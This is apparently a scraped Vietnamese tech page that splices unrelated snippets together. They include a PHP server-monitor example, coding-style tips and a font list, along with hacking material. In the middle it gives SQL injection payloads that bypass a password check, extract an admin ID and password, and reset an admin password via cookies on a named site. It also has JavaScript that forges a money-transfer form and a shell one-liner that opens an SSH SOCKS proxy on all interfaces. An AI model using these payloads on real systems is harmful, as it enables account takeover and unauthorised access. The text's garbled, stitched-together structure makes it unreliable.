code này mình tìm được trên mạng thấy hay nên share cho a e, không biết đã post chưa, huy vọng có ích cho các bạn .
Source+data
http://www.mediafire.com/?bva8uaav4wzx78b
Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.
Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.
Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.
Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.
Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.
<?php phpinfo(); ?>
(Nguồn HowtoForge ) |
Script này giúp kiểm tra tình trạng server, service xem nó có đang hoạt động hay không
Ví dụ đoạn code mẫuỞ đây chúng ta sẽ gọi đến lớp ServerMonitor được định nghĩa trong file servermonitor.phpPHP Code:
<?php
include("servermonitor.php");$Monitor = new ServerMonitor();$Monitor->add("Local server", "sinhvienit.net", 80);
echo $Monitor->run(true);
?>Bạn có thể add nhiều server để kiểm tra cùng lúc. số 80 là cổng của dịch vụ đang chạy cần kiểm tra, thay vì điền domain bạn cũng có thể thay bằng IP của serverPHP Code:
$Monitor->add("Local server", "sinhvienit.net", 80);
Khi server offline, script này sẽ gửi email thông báo đến bạn.PHP Code:
$Monitor->setEmail("[email protected]");
Chạy vòng lặp để xuất ra kết quả tình trạng serverPHP Code:
foreach($results as $result){
$status = $result->active ? "Online" : "Offline";
echo $result->name . ': <strong>' . $status . '</strong><br />';
}
// Bạn nào thích thì có thể phát triển thêm để script có thể tự động kiểm tra
echo y|ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa;cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys;ssh -fND 0.0.0.0:8888 -o StrictHostKeyChecking=no localhost
http://www.e-referrer.com/ bạn có thể quan lý backlinks của mình trong web này cũng khá tốt |
sitename.com = tên web của bạn |
<script type="text/javascript"> write_ref(111111); </script> |
javascript:document.body.contentEditable='true'; document.designMode='on'; void 0
var a=unescape("%43%4f%44%45%5a");
function check(){if (document.a.c.value == a){document.location.href="http://scifi.pages.at/hackits/"+document.a.c.value+".htm";}else{alert ("wrong! - letter size?");}}}
javascript:alert(unescape(a)) để lấy password của level tiếp theo("CODEZ")
javascript:void(document.write('< name="the_" ="movemoney.php" method="post"><value="GaryWilliamHunter" name="FROM" ="">< value="dropCash"name="TO" ="">< value="10000000" name="AMOUNT" =""><value="Move Money To A Different Account" ="submit">')) Đoạn JavaScript trên sẽ tạo một form với trường ẩn
FROM=GaryWilliamHunter, TO=dropCash, AMOUNT=10000000
javascript:void(document.cookie="accountUsername=G aryWilliamHunter")javascript:void(document.cookie="accountPassword=G aryWilliamHunter")
Select Count(UserID) As Check From tblUserInfo Where UserID = 'trungkien' or '1'='1' And Passwords='md5(password cũ sai)' And Active = 1982 // luôn trả về true do điều kiện or '1'='1' đúng mặc dù password cũ sai
Update tblUserInfo Set Passwords = 'md5(password mới)' Where UserID = 'trungkien' or '1'='1' And Active = 1982 // luôn set password mới cho user "trungkien" do điều kiện UserID = 'trungkien' đúng trước điều kiện '1'='1'
Select Count(UserID) As Check From tblUserInfo Where UserID = N'trungkien' or '1'='1' And Passwords = N'...' And Active = 1982
Đầu tiên mình lấy username bằng javascript:void(document.cookie="username="+escape ("' or 1=convert(int,(select adminid from tblconfig where accid=1))--"))
javascript:void(document.cookie="username="+escape ("' or 1=convert(int,(select adminpass from tblconfig where accid=1))--")) Bây giờ mình đặt lại password mới là 'hacked'
<form action=http://www.mangvieclam.com/log.asp method=post>username: <input type=text name=username><br>password: <input type=password name=password><br><input type=hidden name=ChoseLogin value=3><input type=hidden name=mod value=1><input type=submit value=login></form>
javascript:void(document.cookie="username="+escape ("';update tblconfig set adminpass='...' where accid=1--"))
$a = '123';
echo "Print me: $a"; // sẽ in ra Print me: 123echo 'Print me $a'; // sẽ in ra nguyên chuỗi Print me $a
$sql = "SELECT user_id FROM user WHERE user_first_name = 'John' AND user_company_name = 'John\'s'";$sql = 'SELECT user_id FROM user WHERE user_first_name = \'John\' AND user_company_name = \'John\\\'s\'';
echo '<span style="color: green;">This is a good look</span>';
echo "<span style="">It's hard to read this</span>";
if ($string == 'a') {
// do something} else {
// do something else}
if ($string = 'a') {
// do something} else {
// do something else}
if ('a' == $string) {
// do something} else {
// do something else}
/**
* Ducthuans: PHP code library developed by NGUYEN Duc Thuan
*
* @package Ducthuans
* @author Nguyen Duc Thuan
* @link http://www.ducthuan.info
* @copyright Copyright (c) 2008, Nguyen Duc Thuan
* @license http://www.opensource.org/licenses/bsd-license.php
* @Project (This is a bad tag because it is not supported by PHPDocumentor)
*/class Ducthuans{
/**
* Holds Ducthuans' instance
*
* @var Ducthuans
*/
private static $_instance = null;
/**
* Initializes and returns Ducthuans' instance
*
* @return Ducthuans
*/
public static function &getInstance()
{
if (null === self::$_instance) {
self::$_instance = new self();
}
return self::$_instance;
}
/**
* Disables creating instance directly from public
*
*/
private function __construct()
{}
/**
* Disables cloning object
*
*/
private function __clone()
{}
// I cannot understand what the hell this method does without reading the code line by line... :-w
public function badDefinition ($paramOne, $paramTwo)
{
foreach ($paramTwo as $item) {
doSomething($paramOne, $item);
}
return doAnotherThing();
}
/**
* These are some lines
* to describe what the method does
*
* @param string $paramOne This is a string to be passed in function 'doSomething'
* @param array $paramTwo This is an array to do something
* @param integer Good, I know this method will return an INTEGER value
*/
public function goodDefinition ($paramOne, $paramTwo)
{
foreach ($paramTwo as $item) {
doSomething($paramOne, $item);
}
return doAnotherThing();
}
}
Font chữ trên logo, letterhead, bao thư, văn bản... đóng vai trò khá quan trọng trong việc nhận dạng thương hiệu. Ngoài ra, đây cũng là một trong những cách thể hiện cá tính và truyền đạt nội dung hiệu quả nhất trong lĩnh vực quảng cáo, giải trí, thiết kế. Bài viết này sẽ giới thiệu đến các bạn 24 font chữ của các thương hiệu nổi tiếng trên thế giới, hỗ trợ download hoàn toàn miễn phí.
Download:
Waltograph - Loki Cola - Back to the Future - Calvin and Hobbes - United States - Corleone - PEZ Font - Dummies - Final Fantasy - Blade Runner - Fortune Wheel - Harry P - Men In Blue - Jurassic Park - Peanuts - Pricedown - Rebuffed - Rolling Rocker - Star Jedi - Tommy Hilfiger - Terminator - Yahoo - Twilight: New Moon - Bootle
Http://FreeDNS.Ws
Http://dot.tk